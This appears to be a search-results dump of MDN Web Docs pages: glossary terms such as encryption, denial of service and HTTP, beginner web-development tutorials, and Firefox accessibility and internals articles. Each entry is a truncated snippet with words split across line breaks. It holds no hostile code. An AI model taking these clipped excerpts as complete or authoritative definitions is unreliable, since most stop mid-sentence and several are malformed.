reverse of encryption and if the key stays secret, decryption without knowing the specific secret, decryption is mathematically hard to perform. how hard depends on the security of the cryptographic algorithm chosen and evolves with the progress of cryptanalysis. learn more technical reference encryption and decryption ...
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
bject. it's also used when describing changes in the volume or frequency of sound waves. for example, when describing how far an object on the screen moves left-to-right, one might use the term delta x or Δx. likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved p
revious condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example. ...
Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
computers have limited resources, for example computation power or memory. when these are exhausted, the program can freeze or crash, making it unavailable. a dos attack consists of various techniques to exhaust these resources and make a server or a network unavailable to legitimate users, or at least make the server perform sluggishly. there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer. types of dos attack dos attacks are more of a category than a particular kind of attack. ...
Digest - MDN Web Docs Glossary: Definitions of Web-related terms
a digest is a small value generated by a hash function from a whole message. ideally, a digest is quick to calculate, ir
reversible, and unpredictable, and therefore indicates whether someone has tampered with a given message. a digest can be used to perform several tasks: in non-cryptographic applications (e.g., the index of hash tables, or a fingerprint used to detect duplicate data or to uniquely identify files) verify message integrity (a tampered message will have a different hash) store passwords so that they can't be retrieved, but can still be checked (to do this securely, you also need to salt the password.) generate pseudo-random numbers generate keys it is critical to choose the proper hash function for your use case to avoid collisions and predictability. learn m...
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
in html, the doctype is the required "<!doctype html>" preamble found at the top of all documents. its sole purpose is to p
revent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications. learn more general knowledge definition of the doctype in the html specification quirks mode and standards mode technical reference document.doctype, a javascript method that returns the doctype ...
Encryption - MDN Web Docs Glossary: Definitions of Web-related terms
ble by unauthorized readers. encryption is a cryptographic primitive: it transforms a plaintext message into a ciphertext using a cryptographic algorithm called a cipher. encryption in modern ciphers is performed using a specific algorithm and a secret, called the key. since the algorithm is often public, the key must stay secret if the encryption stays secure. without knowing the secret, the
reverse operation, decryption, is mathematically hard to perform. how hard depends on the security of the cryptographic algorithm chosen and evolves with the progress of cryptanalysis. learn more learn more about encryption and decryption ...
Garbage collection - MDN Web Docs Glossary: Definitions of Web-related terms
garbage collection is a term used in computer programming to describe the process of finding and deleting objects which are no longer being referenced by other objects. in other words, garbage collection is the process of removing any objects which are not being used by any other objects. often abb
reviated "gc," garbage collection is a fundamental component of the memory management system used by javascript. learn more general knowledge memory management on wikipedia garbage collection on wikipedia technical reference garbage collection in the mdn javascript guide. memory management in javascript ...
Git - MDN Web Docs Glossary: Definitions of Web-related terms
git is a free, open-source, distributed source code management (scm) system. it facilitates handling code bases with distributed development teams. what sets it apart from p
revious scm systems is the ability to do common operations (branching, committing, etc.) on your local development machine, without having to change the master repository or even having write access to it. learn more general knowledge official website with documentation github, a git-based graphical project host ...
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
m/" is called a "scheme". resources using the "http" schema are typically transported over unencrypted connections using the http protocol. the "https" scheme (as in "https://developer.mozilla.org") indicates that a resource is transported using the http protocol, but over a secure tls channel. http is textual (all communication is done in plain text) and stateless (no communication is aware of p
revious communications). this property makes it ideal for humans to read documents (web sites) on the world wide web. however, http can also be used as a basis for rest web services from server to server or ajax requests within web sites to make them more dynamic. learn more http on mdn http on wikipedia ...
HTTP/2 - MDN Web Docs Glossary: Definitions of Web-related terms
the primary goals for http/2 are to reduce latency by enabling full request and response multiplexing, minimize protocol overhead via efficient compression of http header fields, and add support for request prioritization and server push. http/2 does not modify the application semantics of http in any way. all the core concepts found in http 1.1, such as http methods, status codes, uris, and header fields, remain in place. instead, http/2 modifies how the data is formatted (framed) and transported between the client and server, both of which manage the entire process, and hides application complexity within the new framing layer. ...
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
an iife (immediately invoked function expression) is a javascript function that runs as soon as it is defined. (function () { statements })(); it is a design pattern which is also known as a self-executing anonymous function and contains two major parts: the first is the anonymous function with lexical scope enclosed within the grouping operator (). this p
revents accessing variables within the iife idiom as well as polluting the global scope. the second part creates the immediately invoked function expression () through which the javascript engine will directly interpret the function. examples the function becomes a function expression which is immediately executed. the variable within the expression can not be accessed from outside it. (function () { var aname = "ba...
IMAP - MDN Web Docs Glossary: Definitions of Web-related terms
op3, imap allows folders and rules on the server. unlike pop3, imap allows multiple simultaneous connections to one mailbox. clients accessing a mailbox can receive information about state changes made from other clients. imap also provides a mode for clients to stay connected and receive information on demand. mark crispin initially developed imap in 1986 as interim mail access protocol. imap4
revision 1 is the current version, defined by rfc 3501. learn more rfc 3501 pop3 imap on wikipedia ...
Lossless compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossless compression is a class of data compression algorithms that allows the original data to be perfectly reconstructed from the compressed data. lossless compression methods are
reversible. examples of lossless compression include gzip, brotli, webp, and png, lossy compression, on the other hand, uses inexact approximations by discarding some data from the original file, making it an ir
reversible compression method. ...
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
script program, the result may be nan, which is predefined in javascript as "undefined". hence this division may break the program. now, if this computation was a small part of a much larger algorithm, it would be really painful to figure out where the error actually occurs. fortunately, since the result will be nan and i know my divisor may turn out to be 0, i can set up testing conditions that p
revent any such computations in the first place or notify me of where they happen. learn more general knowledge nan on wikipedia technical information nan in javascript ...
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
unctionalities that are possible in a non-native implementation of object.create. other times, polyfills are used to address issues where browsers implement the same features in different ways. the polyfill uses non-standard features in a certain browser to give javascript a standards-compliant way to access the feature. although this reason for polyfilling is very rare today, it was especially p
revalent back in the days of ie6, netscape, and nnav where each browser implemented javascript very differently. the 1st version of jquery was an early example of a polyfill. it was essentially a compilation of browser-specific workarounds so that javascript developers could have a single common api that worked in all browsers. at the time, javascript developers were grasping at straws trying to get ...
Proxy server - MDN Web Docs Glossary: Definitions of Web-related terms
ot (for example in the case of a cache), and it may modify it (for example changing its headers, at the boundary between two networks). a proxy can be on the user's local computer, or anywhere between the user's computer and a destination server on the internet. in general there are two main types of proxy servers: a forward proxy that handles requests from and to anywhere on the internet. a
reverse proxy taking requests from the internet and forwarding them to servers in an internal network. learn more proxy servers and tunneling proxy server on wikipedia ...
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
n be used for a variety of applications, such as games. a cryptographically secure prng is a prng with certain extra properties making it suitable for use in cryptography. these include: that it's computationally unfeasible for an attacker (without knowledge of the seed) to predict its output that if an attacker can work out its current state, this should not enable the attacker to work out p
reviously emitted numbers. most prngs are not cryptographically secure. learn more general knowledge pseudorandom number generator on wikipedia math.random(), a built-in javascript prng function. note that this is not a cryptographically secure prng. crypto.getrandomvalues(): this is intended to provide cryptographically secure numbers. ...
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
"c561c68d0ba92bbeb8b0f612a9199f722e3a621a" keep-alive: timeout=5, max=997 last-modified: mon, 18 jul 2016 02:36:04 gmt server: apache set-cookie: mykey=myvalue; expires=mon, 17-jul-2017 16:06:00 gmt; max-age=31449600; path=/; secure transfer-encoding: chunked vary: cookie, accept-encoding x-backend-server: developer2.webapp.scl3.mozilla.com x-cache-info: not cacheable; meta data too large x-kuma-
revision: 1085259 x-frame-options: deny ...
Robots.txt - MDN Web Docs Glossary: Definitions of Web-related terms
robots.txt is a file which is usually placed in the root of any website. it decides whether crawlers are permitted or forbidden access to the web site. for example, the site admin can forbid crawlers to visit a certain folder (and all the files therein contained) or to crawl a specific file, usually to p
revent those files being indexed by other search engines. learn more general knowledge robots.txt on wikipedia https://developers.google.com/search/reference/robots_txt standard specification draft: https://tools.ietf.org/html/draft-rep-wg-topic https://www.robotstxt.org/ ...
SCM - MDN Web Docs Glossary: Definitions of Web-related terms
(source control management) is a system for managing source code. usually it refers to the use of software to handle versioning of source files. a programmer can modify source code files without being afraid of editing out useful stuff, because a scm keeps track of how the source code has changed and who made the changes. some scm systems include cvs, svn, git. learn more general knowledge
revision control on wikipedia ...
SEO - MDN Web Docs Glossary: Definitions of Web-related terms
esults, also termed improving search rankings. search engines crawl the web, following links from page to page, and index the content found. when you search, the search engine displays the indexed content. crawlers follow rules. if you follow those rules closely when doing seo for a website, you give the site the best chances of showing up among the first results, increasing traffic and possibly
revenue (for ecommerce and ads). search engines give some guidelines for seo, but big search engines keep result ranking as a trade secret. seo combines official search engine guidelines, empirical knowledge, and theoretical knowledge from science papers or patents. seo methods fall into three broad classes: technical tag the content using semantic html. when exploring the website, crawlers sho...
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
symmetric-key cryptography is a term used for cryptographic algorithms that use the same key for encryption and for decryption. the key is usually called a "symmetric key" or a "secret key". this is usually contrasted with public-key cryptography, in which keys are generated in pairs and the transformation made by one key can only be
reversed using the other key. symmetric-key algorithms should be secure when used properly and are highly efficient, so they can be used to encrypt large amounts of data without having a negative effect on performance. most symmetric-key algorithms currently in use are block ciphers: this means that they encrypt data one block at a time. the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks. block ciphers ...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
tcp slow start helps buildup transmission speeds to the network's capabilities. it does this without initially knowing what those capabilities are and without creating congestion. tcp slow start is an algorithm used to detect the available bandwidth for packet transmission, and balances the speed of a network connection. it p
revents the appearance of network congestion whose capabilities are initially unknown, and slowly increases the volume of information diffused until the network's maximum capacity is found. to implement tcp slow start, the congestion window (cwnd) sets an upper limit on the amount of data a source can transmit over the network before receiving an acknowledgment (ack). the slow start threshold (ssthresh) determines the (de)activation of slow start. when a new c...
Type - MDN Web Docs Glossary: Definitions of Web-related terms
also affects the operations that are valid on that value. for example, a value of type number can be multiplied by another number, but not by a string - even if that string contains only a number, such as the string "2". types also provides us with useful knowledge about the comparison between different values. comparison between structured types is not always an easy assumption, as even if the p
revious data structure is the same, there could be inherited structures inside of the prototype chain. if you are unsure of the type of a value, you can use the typeof operator. ...
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
in security protocols, a challenge is some data sent to the client by the server in order to generate a different response each time. challenge-response protocols are one way to fight against replay attacks where an attacker listens to the p
revious messages and resends them at a later time to get the same credentials as the original message. the http authentication protocol is challenge-response based, though the "basic" protocol isn't using a real challenge (the realm is always the same). learn more challenge-response authentication on wikipedia. ...
MDN Web Docs Glossary: Definitions of Web-related terms
web technologies contain long lists of jargon and abb
reviations that are used in documentation and coding. this glossary provides definitions of words and abb
reviations you need to know to successfully understand and build for the web. glossary of terms a abstraction accessibility accessibility tree (aom) adobe flash ajax algorithm alignment container alignment subject alpha (alpha channel) alpn api apple safari application context argument aria arpa arpanet array ascii asynchronous atag attribute b bandwidth base64 baseline beacon ...
Test your skills: WAI-ARIA - Learn web development
age by screenreaders, to make it easily findable? how can you give the search input a suitable label, without explicitly adding a visible text label to the dom? try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. wai-aria 3 for this final wai-aria task, we return to an example we p
reviously saw in the css and javascript skilltest. as before, we have a simple app that presents a list of animal names. clicking one of the animal names causes a further description of that animal to appear in a box below the list. here, we are starting with a mouse- and keyboard-accessible version. the problem we have now is that when the dom changes to show a new decription, screenreaders canno...
What is accessibility? - Learn web development
ome websites using just the keyboard to see how you get on. can you use the tab key to move between the different controls of a web form, for example? you can find more details about keyboard controls in our cross browser testing using native keyboard accessibility section. in terms of statistics, a significant number of people have mobility impairments. the u.s. centers for disease control and p
revention disability and functioning (noninstitutionalized adults 18 years and over) reports the usa "percent of adults with any physical functioning difficulty: 16.1%". people with cognitive impairments cognitive impairment refers to a broad range of disabilities, from people with intellectual disabilities who have the most-limited capabilities, to all of us as we age and have difficulty thinking ...
Accessibility - Learn web development
d javascript accessibility best practices css and javascript, when used properly, also have the potential to allow for accessible web experiences, but if misused they can significantly harm accessibility. this article outlines some css and javascript best practices that should be considered to ensure that even complex content is as accessible as possible. wai-aria basics following on from the p
revious article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult. wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. here we'll show how to use it at a basic level to improve accessibility. a...
Creating fancy letterheaded paper - Learn web development
given the files needed to create a letterheaded paper template. you just need to put the files together. to get there, you need to: the main letter apply the css to the html. add a background declaration to the letter that: fixes the top image to the top of the letter fixes the bottom image to the bottom of the letter adds a semi-transparent gradient over the top of both of the p
revious backgrounds that gives the letter a bit of texture. make it slightly dark right near the top and bottom, but completely transparent for a large part of the center. add another background declaration that just adds the top image to the top of the letter, as a fallback for browsers that don't support the p
revious declaration. add a white background color to the letter. add a 1mm top and...
Introduction to CSS layout - Learn web development
prerequisites: the basics of html (study introduction to html), and an idea of how css works (study introduction to css.) objective: to give you an overview of css page layout techniques. each technique can be learned in greater detail in subsequent tutorials. ...
CSS layout - Learn web development
ne coding program such as jsbin or glitch. guides these articles will provide instruction on the fundamental layout tools and techniques available in css. at the end of the lessons is an assessment to help you check your understanding of layout methods, by laying out a webpage. introduction to css layout this article will recap some of the css layout features we've already touched upon in p
revious modules — such as different display values — and introduce some of the concepts we'll be covering throughout this module. normal flow elements on webpages lay themselves out according to normal flow - until we do something to change that. this article explains the basics of normal flow as a grounding for learning how to change it. flexbox flexbox is a one-dimensional layout method for...
create fancy boxes - Learn web development
ime, that leads to polluting the dom by adding extra html element for the unique purpose of style. even if it is necessary, it's somewhat considered bad practice. one solution to avoid such pitfalls is to use css pseudo-elements. a cloud <div class="fancy">hi! i want to be fancy.</div> let's have an example by turning our box into a cloud: .fancy { text-align: center; /* same trick as p
revisouly used to make circles */ box-sizing: border-box; width : 150px; height : 150px; padding : 80px 1em 0 1em; /* we make room for the "ears" of our cloud */ margin : 0 100px; position: relative; background-color: #a4c9cf; /* well, actually we are not making a full circle as we want the bottom of our cloud to be flat. feel free to tweak this example to ...
How do you make sure your website works properly? - Learn web development
rom a typo, but sometimes maybe you either forgot to upload a resource or you lost your network connection while you were uploading your resources. first check the spelling and accuracy of the file path, and if there's still a problem, upload your files again. that will likely fix the problem. javascript errors someone (possibly you) added a script to the page and made a mistake. this will not p
revent the page from loading but you will feel something went wrong. open the console (tools ➤ web developer ➤ web console) and reload the page: in this example, we learn (quite clearly) what the error is, and we can go fix it (we will cover javascript in another series of articles). more things to check we have listed a few simple ways to check that your website works properly, as well as ...
How can we design for all types of users? - Learn web development
to cater to because it's still around. relative units also called proportional units, relative units are computed relative to a parent element. relative units are friendlier to accessibility because they respect the settings on the user's system. relative units are expressed in em, % and rem: percent-based sizes: % this unit tells your browser that an element's font size must be n% of the p
revious element whose font size was expressed. if no parent can be found, the default font size within the browser is considered as the base size for the calculation (usually the equivalent of 16 pixels). em-based sizes: em this unit is calculated the same way as percents, except that you compute in portions of 1 and not portions of 100. it is said that "em" is the width of a capital “m” in the...
What is the difference between webpage, website, web server, and search engine? - Learn web development
ser, per user request. don't confuse websites and web servers. for example, if you hear someone say, "my website is not responding", it actually means that the web server is not responding and therefore the website is not available. more importantly, since a web server can host multiple websites, the term web server is never used to designate a website, as it could cause great confusion. in our p
revious example, if we said, "my web server is not responding", it means that multiple websites on that web server are not available. search engine search engines are a common source of confusion on the web. a search engine is a special kind of website that helps users find web pages from other websites. there are plenty out there: google, bing, yandex, duckduckgo, and many more. some are generic,...
How do I start to design my website? - Learn web development
all connected to music. there are, of course, many web services that could handle these goals, but it makes sense in this case to build a dedicated website of our own. such a website is the best way to aggregate all the stuff we want to publish in a single place (good for goals 3, 5, and 6) and promote interaction between us and the public (good for goals 2 and 4). in short, since these goals all
revolve around the same topic, having everything in one place will help us meet our goals and help our followers connect with us. how can a website help me reach my goals? by answering that, you'll find the best way to reach your goals and save yourself from wasted effort. what needs to be done, and in what order, to reach my goals? now that you know what you want to accomplish, it's time to turn ...
HTML forms in legacy browsers - Learn web development
input element */ border: 1px solid #ccc; } input[type="button"] { /* this does not restore the default rendering */ border: none; } input[type="button"] { /* these don't either! actually there is no standard way to do it in any browser */ border: auto; border: initial; } input[type="button"] { /* this will come the closest to restoring default rendering, when supported. */ border:
revert; } see the global css
revert value for more information. <button> the <button> element suffered from two issues that are now resolved: a bug in old versions of internet explorer sent the html content available between the starting and ending tag of the <button> element instead of the content of the value attribute when clicked. this was only an issue if that value needed to be sent, such...
Test your skills: Form validation - Learn web development
mitting your form — it should refuse to submit until the above constaints are followed, and give suitable error messages. to help, you might want to consider adding some simple css to show when a form field is valid or invalid. download the starting point for this task to work in your own editor or in an online editor. form validation 2 now we want you to take the same form you saw in the p
revious task (use your p
revious answer if you want to), and add some more specific pattern validation to the first three fields using regular expressions. all of the user names in our application consist of a single letter, followed by a dot, followed by three or more letters or numbers. all letters should be lowercase. all of the email addresses for our users consist of one or more letters (lowe...
Front-end web developer - Learn web development
meaning css, the language used to style web pages javascript, the scripting language used to create dynamic functionality on the web tooling that is used to facilitate modern client-side web development. you can work through sections in order, but each one is also self-contained. for example, if you already know html, you can skip ahead to the css section. prerequisites you don't need any p
revious knowledge to start this course. all you need is a computer that can run modern web browsers, an internet connection, and a willingness to learn. if you are not sure if front-end web development is for you, and/or you want a gentle introduction before starting a longer and more complete course, work through our getting started with the web module first. getting help we have tried to make le...
How the Web works - Learn web development
this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the background. clients and servers computers connected to the web are called clients and servers. a simplified diagram of how they interact might look like this: clients are the typical web user's internet-connected devices (for example, your computer connected to your wi-fi, or your phone connected to your mobile network) and web-accessing software available on those devices (usually a web browser like firefox or chrome). ...
Installing basic software - Learn web development
modern web browsers. installing a text editor you probably already have a basic text editor on your computer. by default windows includes notepad and macos comes with textedit. linux distros vary; ubuntu comes with gedit by default. for web development, you can probably do better than notepad or textedit. we recommend starting with visual studio code, which is a free editor, that offers live p
reviews and code hints. installing modern web browsers for now, we'll install a couple of desktop web browsers to test our code in. choose your operating system below and click the relevant links to download installers for your favorite browsers: linux: firefox, chrome, opera, brave. windows: firefox, chrome, opera, internet explorer, microsoft edge, brave (windows 10 comes with edge by default...
Tips for authoring fast-loading HTML pages - Learn web development
ing compression features built into image-manipulation tools such as photoshop, or using a specialized tool such as compress jpeg or tiny png,. specify sizes for images and tables if the browser can immediately determine the height and/or width of your images and tables, it will be able to display a web page without having to reflow the content. this not only speeds the display of the page but p
revents annoying changes in a page's layout when the page completes loading. for this reason, height and width should be specified for images, whenever possible. tables should use the css selector: property combination: table-layout: fixed; and should specify widths of columns using the <col> and the <colgroup> elements. use lazy loading for images by default, imags are loaded eagerly; that i...
Use JavaScript within a webpage - Learn web development
if an animation lasts more than a couple seconds, give the user a way to cancel it. let users initiate interactions. that means, don't update content, redirect, or refresh automatically. don't use carousels or display popups without warning. have a plan b for users without javascript. people may have javascript turned off to improve speed and security, and users often face network issues that p
revent loading scripts. moreover, third-party scripts (ads, tracking scripts, browser extensions) might break your scripts. at a minimum, leave a short message with <noscript> like this: <noscript>to use this site, please enable javascript.</noscript> ideally, replicate the javascript functionality with html and server-side scripting when possible. if you're only looking for simple visual...
Introduction to HTML - Learn web development
mages and videos into a page. this module will introduce the first two of these and introduce fundamental concepts and syntax you need to know to understand html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you don't need any p
revious html knowledge, but you should have at least basic familiarity with using computers and using the web passively (i.e., just looking at it and consuming content). you should have a basic work environment set up (as detailed in installing basic software), and understand how to create and manage files (as detailed in dealing with files). both are parts of our getting started with the web complet...
Multimedia and Embedding - Learn web development
cluding the different ways that images can be included, and how to embed video, audio, and even entire webpages. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should have a reasonable understanding of the basics of html, as p
reviously covered in introduction to html. if you've not worked through this module (or something similar), work through it first, then come back! note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the fo...
Asynchronous JavaScript - Learn web development
t has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g. a set number of times per second), talk about what they are useful for, and look at their inherent issues. handling async operations gracefully with promises promises are a comparatively new feature of the javascript language that allow you to defer further actions until after the p
revious action has completed, or respond to its failure. this is really useful for setting up a sequence of operations to work correctly. this article shows you how promises work, where you'll see them in use in webapis, and how to write your own. making asynchronous programming easier with async and await promises can be somewhat complex to set up and understand, and so modern browsers have implem...
Functions — reusable blocks of code - Learn web development
in this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define them, scope, and parameters. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. objective: to understand the fundamental concepts behind javascript functions. where do i find functions? in javascript, you'll find functions everywhere. ...
Client-side web APIs - Learn web development
e, we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites to get the most out of this module, you should have worked your way through the p
revious javascript modules in the series (first steps, building blocks, and javascript objects). those modules typically involve simple api usage, as it is often difficult to write client-side javascript examples without them. for this tutorial, we will assume that you are knowledgable about the core javascript language, and we will explore common web apis in a bit more detail. basic knowledge of ht...
What is JavaScript? - Learn web development
of actual javascript code living inside html. it might look something like this: function createparagraph() { let para = document.createelement('p'); para.textcontent = 'you clicked the button!'; document.body.appendchild(para); } <button onclick="createparagraph()">click me!</button> you can try this version of our demo below. this demo has exactly the same functionality as in the p
revious two sections, except that the <button> element includes an inline onclick handler to make the function run when the button is pressed. please don't do this, however. it is bad practice to pollute your html with javascript, and it is inefficient — you'd have to include the onclick="createparagraph()" attribute on every button you want the javascript to apply to. using a pure javascript con...
Solve common problems in your JavaScript code - Learn web development
can you load a json file into a page? how do you convert a json object to a text string, and back again? events what are event handlers and how do you use them? what are inline event handlers? what does the addeventlistener() function do, and how do you use it? which mechanism should i use to add event code to my web pages? what are event objects, and how do you use them? how do you p
revent default event behaviour? how do events fire on nested elements? (event propagation, also related — event bubbling and capturing) what is event delegation, and how does it work? object-oriented javascript what are object prototypes? what is the constructor property, and how can you use it? how do you add methods to the constructor? how do you create a new constructor that inherits i...
JavaScript object basics - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks). objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("most things are objects"), and how to start working with javascript objects. ...
JavaScript — Dynamic client-side scripting - Learn web development
ed prerequisites javascript is arguably more difficult to learn than related technologies such as html and css. before attempting to learn javascript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. start by working through the following modules: getting started with the web introduction to html introduction to css having p
revious experience with other programming languages might also help. after getting familiar with the basics of javascript, you should be in a position to learn about more advanced topics, for example: javascript in depth, as taught in our javascript guide web apis modules this topic contains the following modules, in a suggested order for working through them. javascript first steps in ou...
Aprender y obtener ayuda - Learn web development
okup solutions to such problems. if you are a professional web developer you'll probably remember the last time you solved a similar problem, and only have to look up a few bits of the syntax that you forgot since then. when you find solutions to such problems, it is worth writing down notes on what you did, and keeping some minimal code examples in a directory somewhere so you can look back on p
revious work. in addition, the web has developer tools that allow you to look at the code used to build any site on the web — if you don't have a solution to hand, one good research method is to find websites with similar features in the wild, and find out how they did it. note: notice how above we talked about the problem we are trying to solve first, and the technology used to solve it second.
Web performance resources - Learn web development
best practices start with learning the critical rendering path of the browser. knowing this will help you understand how to improve the performance of the site. using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload keep the size of javascript to a minimum. only use as much javascript as needed for the current page. css performance factors use http/2 on your server (or cdn). use a cdn for resources which can reduce load times significantly. ...
The "why" of web performance - Learn web development
hat provides a good user experience. building websites requires html, css, and javascript, typically including binary file types such as images and video. the decisions you make and the tools you choose as you build your site can greatly affect the performance of the finished work. good performance is an asset. bad performance is a liability. site speed directly affects bounce rates, conversion,
revenue, user satisfaction, and search engine ranking. performant sites have been shown to increase visitor retention and user satisfaction. slow content has been shown to lead to site abandonment, with some visitors leaving to never return. reducing the amount of data that passes between the client and the server lowers the costs to all parties. reducing html/css/javascript and media file sizes redu...
Client-side tooling overview - Learn web development
ld be specific to your own development environment, though it’s not uncommon for companies to have some kind of policy or pre-baked configuration available to install so that all their developers are all using the same processes. this includes anything that makes your development process easier with respect to generating stable and reliable code. safety net tooling should also help you either p
revent mistakes or correct mistakes automatically without having to build your code from scratch each time. a few very common safety net tool types you will find being used by developers are as follows. linters linters are tools that check through your code and tell you about any errors that are present, what error types they are, and what code lines they are present on. often linters can be confi...
Understanding client-side web development tools - Learn web development
lchain. we'll go all the way from setting up a sensible development environment and putting transformation tools in place to actually deploying your app on netlify. in this article we'll introduce the case study, set up our development environment, and set up our code transformation tools. 5. deploying our app in the final article in our series, we take the example toolchain we built up in the p
revious article and add to it so that we can deploy our sample app. we push the code to github, deploy it using netlify, and even show you how to add a simple test into the process. ...
Tools and testing - Learn web development
ckground knowledge about how client-side frameworks work and how they fit into your toolset, before moving on to tutorial series covering some of today's most popular ones. git and github all developers will use some kind of version control system (vcs), a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll back to p
revious versions of the code base if a problem is discovered later on. the most popular vcs (at least among web developers) is git, along with github, a site that provides hosting for your repositories and several tools for working with them. this module aims to teach you what you need to know about both of them. cross browser testing this module looks specifically at the area of testing web projec...
Learn web development
et of articles aims to provide complete beginners to web development with all that they need to start coding websites. the aim of this area of mdn is not to take you from "beginner" to "expert" but to take you from "beginner" to "comfortable." from there, you should be able to start making your way, learning from the rest of mdn, and other intermediate to advanced resources that assume a lot of p
revious knowledge. if you are a complete beginner, web development can be challenging — we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly. you should feel at home whether you are a student learning web development (on your own or as part of a class), a teacher looking for class materials, a hobbyist, or someone who just wants to understand m...
omni.ja (formerly omni.jar)
file called omni.ja; this reduces the amount of i/o needed to load the application. this article covers the contents of the archive and techniques for inspecting those contents. note: starting with firefox 10 and thunderbird 10, the file extension .ja is used because windows system restore does not back up files with the .jar extension, but it does back up .ja files. this change was needed to p
revent firefox from becoming corrupted. inspecting and repacking omni.ja note: when extracting omni.ja, you may incorrectly get false warnings from some virus protection software. several unzip tools and archives (except for the latest version of 7-zip) currently cannot read omni.ja, due to the optimization that is applied to the file. it is suggested that windows 7 users unzip the file by renami...
Accessibility Features in Firefox
se of 1.5. at my next opportunity, i intend to convert my family over to it too." darren paskell, from window-eyes beta testing list firefox works with popular screen readers, with the best support currently coming from gw micro's window-eyes 5.5. we are optimistic that jaws support will catch up this year. in recent articles from both afb's access world and nfb's voice of the nation's blind,
reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard commands are still available, so users can become comfortable and productive right away. screen magnifier users can also benefit from firefox's powerful features today, as caret and focus tracking are fully enabled. mozilla corporation is currently reaching out to...
CSUN Firefox Materials
with the release of 1.5. at my next opportunity, i intend to convert my family over to it too. " -- darren paskell, from window-eyes beta testing list firefox works with popular screen readers, with the best support currently coming from gw micro's window-eyes 5.5. jaws support is quickly catching up as well. in recent articles from both afb's access world and nfb's voice of the nation's blind,
reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard commands are still available, so users can become comfortable and productive right away. screen magnifier users can also benefit from firefox's powerful features today, as caret and focus tracking are fully enabled. mozilla corporation is currently reaching out to ...
Multiprocess on Windows
e requires one in its input. integrating interceptors into the a11y tree now that we have solved the apartment problem, and know how to wrap a com interface with an interceptor, we need to discuss how these things fit into the a11y tree. in general, the only com objects which should need to be explicitly wrapped are the iaccessibles for top-level documents in the content process. as mentioned p
reviously, the interceptor will automatically wrap outparams. when a wrapped com object is queried for its children, those children are provided as outparams, and will themselves be wrapped. ...
Software accessibility: Where are we today?
where are we today? up until this point, the largest driving force behind desktop computing environments has been microsoft, first with ms dos, followed by variants of microsoft windows. these operating systems were not designed with the needs of people with disabilities in mind. many, including those who were blind or physically disabled, were unable to use applications which were written for microsoft operating systems. ...
Mozilla’s UAAG evaluation report
ent handlers through source view or dom inspector (tasks, tools, dom inspector) 9.7 move content focus optimally. (p2) g provides sequential access to links and input form controls cannot navigate to non-links and non-input form controls with event handlers no directional navigation, or navigation to links by name 9.8 text search. (p2) vg provides forward and
reverse text search capability from the element with the current focus/selection, with and without case sensitivity very slow on larger documents. needs improvement. 9.9 structured navigation. (p2) p dom inspector provides some capability, but not really intended for end users (tasks, tools, dom inspector) 9.10 configure important elements. (p3) ni the navigational e...
Theme concepts
those components stored in the same folder as the manifest.json file or a sub folder. these resources are then packed in a zip for publication on addons.mozilla.org (amo) or for self-distribution. for more information on self-distribution, visit signing and distributing your add-on. you can also use the theme generator on amo to create a static theme. additionally, firefox color can be used to p
review customizations to the browser's theme with options to share and export a theme. a theme and browser extension functionality cannot be defined in one package, such as including a theme to complement an extension. you can, however, programmatically include a theme in an extension using the theme api. see dynamic themes. defining a theme to create a theme (in this example a simple, single im...
Adding a new event
ary. if all information of the event is stored by its internal event, c++ event handlers can access them with following code: ns_imethodimp aneventlistener::handleevent(nsidomevent* aevent) { internalfooevent* internalevent = aevent->getinternalnsevent()->asfooevent(); if (ns_warn_if(!internalevent)) { return ns_error_unexpected; } dosomethingwith(internalevent->mbar); aevent->p
reventdefault(); return ns_ok; } implement dom event class generate dom event implementation if it's possible if you're creating simple dom event class, it might be generated automatically. if it's possible, you just need to add an entry to generated_events_webidl_files in dom/webidl/moz.build. define and create dom event class manually otherwise, you need to implement a dom event class yours...
Adding a new CSS property
